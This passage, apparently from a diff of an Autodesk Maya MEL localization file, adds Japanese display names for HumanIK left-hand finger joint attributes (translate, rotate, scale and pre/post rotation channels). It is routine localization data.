のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3PostRx", "左手親指 3 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3PostRy", "左手親指 3 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3PostRz", "左手親指 3 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4T", "左手親指 4 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4Tx", "左手親指 4 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4Ty", "左手親指 4 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4Tz", "左手親指 4 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4R", "左手親指 4 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4Rx", "左手親指 4 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4Ry", "左手親指 4 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4Rz", "左手親指 4 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4S", "左手親指 4 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4Sx", "左手親指 4 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4Sy", "左手親指 4 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4Sz", "左手親指 4 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4PGX", "左手親指 4 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4ROrder", "左手親指 4 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4SC", "左手親指 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4IS", "左手親指 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4ISx", "左手親指 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4ISy", "左手親指 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4ISz", "左手親指 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4PreR", "左手親指 4 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4PreRx", "左手親指 4 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4PreRy", "左手親指 4 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4PreRz", "左手親指 4 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4PostR", "左手親指 4 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4PostRx", "左手親指 4 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4PostRy", "左手親指 4 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4PostRz", "左手親指 4 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1T", "左手人差指 1 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1Tx", "左手人差指 1 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1Ty", "左手人差指 1 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1Tz", "左手人差指 1 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1R", "左手人差指 1 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1Rx", "左手人差指 1 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1Ry", "左手人差指 1 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1Rz", "左手人差指 1 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1S", "左手人差指 1 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1Sx", "左手人差指 1 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1Sy", "左手人差指 1 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1Sz", "左手人差指 1 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1PGX", "左手人差指 1 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1ROrder", "左手人差指 1 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1SC", "左手人差指 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1IS", "左手人差指 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1ISx", "左手人差指 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1ISy", "左手人差指 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1ISz", "左手人差指 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1PreR", "左手人差指 1 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1PreRx", "左手人差指 1 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1PreRy", "左手人差指 1 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1PreRz", "左手人差指 1 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1PostR", "左手人差指 1 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1PostRx", "左手人差指 1 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1PostRy", "左手人差指 1 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1PostRz", "左手人差指 1 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2T", "左手人差指 2 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2Tx", "左手人差指 2 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2Ty", "左手人差指 2 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2Tz", "左手人差指 2 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2R", "左手人差指 2 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2Rx", "左手人差指 2 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2Ry", "左手人差指 2 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2Rz", "左手人差指 2 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2S", "左手人差指 2 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2Sx", "左手人差指 2 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2Sy", "左手人差指 2 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2Sz", "左手人差指 2 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2PGX", "左手人差指 2 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2ROrder", "左手人差指 2 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2SC", "左手人差指 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2IS", "左手人差指 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2ISx", "左手人差指 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2ISy", "左手人差指 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2ISz", "左手人差指 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2PreR", "左手人差指 2 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2PreRx", "左手人差指 2 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2PreRy", "左手人差指 2 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2PreRz", "左手人差指 2 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2PostR", "左手人差指 2 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2PostRx", "左手人差指 2 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2PostRy", "左手人差指 2 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2PostRz", "左手人差指 2 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3T", "左手人差指 3 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3Tx", "左手人差指 3 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3Ty", "左手人差指 3 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3Tz", "左手人差指 3 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3R", "左手人差指 3 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3Rx", "左手人差指 3 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3Ry", "左手人差指 3 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3Rz", "左手人差指 3 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3S", "左手人差指 3 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3Sx", "左手人差指 3 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3Sy", "左手人差指 3 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3Sz", "左手人差指 3 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3PGX", "左手人差指 3 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3ROrder", "左手人差指 3 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3SC", "左手人差指 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3IS", "左手人差指 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3ISx", "左手人差指 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3ISy", "左手人差指 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3ISz", "左手人差指 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3PreR", "左手人差指 3 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3PreRx", "左手人差指 3 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3PreRy", "左手人差指 3 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3PreRz", "左手人差指 3 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3PostR", "左手人差指 3 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3PostRx", "左手人差指 3 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3PostRy", "左手人差指 3 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3PostRz", "左手人差指 3 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4T", "左手人差指 4 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4Tx", "左手人差指 4 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4Ty", "左手人差指 4 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4Tz", "左手人差指 4 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4R", "左手人差指 4 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4Rx", "左手人差指 4 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4Ry", "左手人差指 4 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4Rz", "左手人差指 4 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4S", "左手人差指 4 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4Sx", "左手人差指 4 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4Sy", "左手人差指 4 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4Sz", "左手人差指 4 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4PGX", "左手人差指 4 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4ROrder", "左手人差指 4 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4SC", "左手人差指 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4IS", "左手人差指 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4ISx", "左手人差指 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4ISy", "左手人差指 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4ISz", "左手人差指 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4PreR", "左手人差指 4 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4PreRx", "左手人差指 4 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4PreRy", "左手人差指 4 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4PreRz", "左手人差指 4 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4PostR", "左手人差指 4 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4PostRx", "左手人差指 4 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4PostRy", "左手人差指 4 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4PostRz", "左手人差指 4 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1T", "左手中指 1 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1Tx", "左手中指 1 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1Ty", "左手中指 1 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1Tz", "左手中指 1 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1R", "左手中指 1 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1Rx", "左手中指 1 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1Ry", "左手中指 1 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1Rz", "左手中指 1 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1S", "左手中指 1 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1Sx", "左手中指 1 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1Sy", "左手中指 1 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1Sz", "左手中指 1 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1PGX", "左手中指 1 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1ROrder", "左手中指 1 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1SC", "左手中指 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1IS", "左手中指 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1ISx", "左手中指 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1ISy", "左手中指 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1ISz", "左手中指 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1PreR", "左手中指 1 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1PreRx", "左手中指 1 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1PreRy", "左手中指 1 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1PreRz", "左手中指 1 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1PostR", "左手中指 1 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1PostRx", "左手中指 1 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1PostRy", "左手中指 1 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1PostRz", "左手中指 1 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2T", "左手中指 2 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2Tx", "左手中指 2 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2Ty", "左手中指 2 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2Tz", "左手中指 2 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2R", "左手中指 2 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2Rx", "左手中指 2 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2Ry", "左手中指 2 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2Rz", "左手中指 2 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2S", "左手中指 2 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2Sx", "左手中指 2 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2Sy", "左手中指 2 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2Sz", "左手中指 2 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2PGX", "左手中指 2 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2ROrder", "左手中指 2 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2SC", "左手中指 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2IS", "左手中指 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2ISx", "左手中指 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2ISy", "左手中指 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2ISz", "左手中指 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2PreR", "左手中指 2 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2PreRx", "左手中指 2 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2PreRy", "左手中指 2 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2PreRz", "左手中指 2 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2PostR", "左手中指 2 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2PostRx", "左手中指 2 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2PostRy", "左手中指 2 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2PostRz", "左手中指 2 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3T", "左手中指 3 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3Tx", "左手中指 3 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3Ty", "左手中指 3 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3Tz", "左手中指 3 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3R", "左手中指 3 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3Rx", "左手中指 3 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3Ry", "左手中指 3 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3Rz", "左手中指 3 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3S", "左手中指 3 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3Sx", "左手中指 3 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3Sy", "左手中指 3 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3Sz", "左手中指 3 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3PGX", "左手中指 3 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3ROrder", "左手中指 3 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3SC", "左手中指 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3IS", "左手中指 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3ISx", "左手中指 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3ISy", "左手中指 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3ISz", "左手中指 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3PreR", "左手中指 3 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3PreRx", "左手中指 3 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3PreRy", "左手中指 3 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3PreRz", "左手中指 3 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3PostR", "左手中指 3 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3PostRx", "左手中指 3 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3PostRy", "左手中指 3 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3PostRz", "左手中指 3 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4T", "左手中指 4 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4Tx", "左手中指 4 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4Ty", "左手中指 4 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4Tz", "左手中指 4 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4R", "左手中指 4 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4Rx", "左手中指 4 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4Ry", "左手中指 4 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4Rz", "左手中指 4 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4S", "左手中指 4 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4Sx", "左手中指 4 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4Sy", "左手中指 4 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4Sz", "左手中指 4 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4PGX", "左手中指 4 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4ROrder", "左手中指 4 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4SC", "左手中指 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4IS", "左手中指 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4ISx", "左手中指 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4ISy", "左手中指 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4ISz", "左手中指 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4PreR", "左手中指 4 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4PreRx", "左手中指 4 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4PreRy", "左手中指 4 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4PreRz", "左手中指 4 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4PostR", "左手中指 4 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4PostRx", "左手中指 4 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4PostRy", "左手中指 4 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4PostRz", "左手中指 4 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1T", "左手薬指 1 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1Tx", "左手薬指 1 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1Ty", "左手薬指 1 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1Tz", "左手薬指 1 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1R", "左手薬指 1 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1Rx", "左手薬指 1 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1Ry", "左手薬指 1 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1Rz", "左手薬指 1 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1S", "左手薬指 1 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1Sx", "左手薬指 1 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1Sy", "左手薬指 1 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1Sz", "左手薬指 1 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1PGX", "左手薬指 1 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1ROrder", "左手薬指 1 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1SC", "左手薬指 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1IS", "左手薬指 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1ISx", "左手薬指 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1ISy", "左手薬指 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1ISz", "左手薬指 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1PreR", "左手薬指 1 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1PreRx", "左手薬指 1 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1PreRy", "左手薬指 1 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1PreRz", "左手薬指 1 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1PostR", "左手薬指 1 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1PostRx", "左手薬指 1 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1PostRy", "左手薬指 1 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1PostRz", "左手薬指 1 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2T", "左手薬指 2 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2Tx", "左手薬指 2 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2Ty", "左手薬指 2 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2Tz", "左手薬指 2 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2R", "左手薬指 2 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2Rx", "左手薬指 2 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2Ry", "左手薬指 2 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2Rz", "左手薬指 2 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2S", "左手薬指 2 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2Sx", "左手薬指 2 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2Sy", "左手薬指 2 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2Sz", "左手薬指 2 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2PGX", "左手薬指 2 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2ROrder", "左手薬指 2 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2SC", "左手薬指 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2IS", "左手薬指 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2ISx", "左手薬指 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2ISy", "左手薬指 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2ISz", "左手薬指 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2PreR", "左手薬指 2 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2PreRx", "左手薬指 2 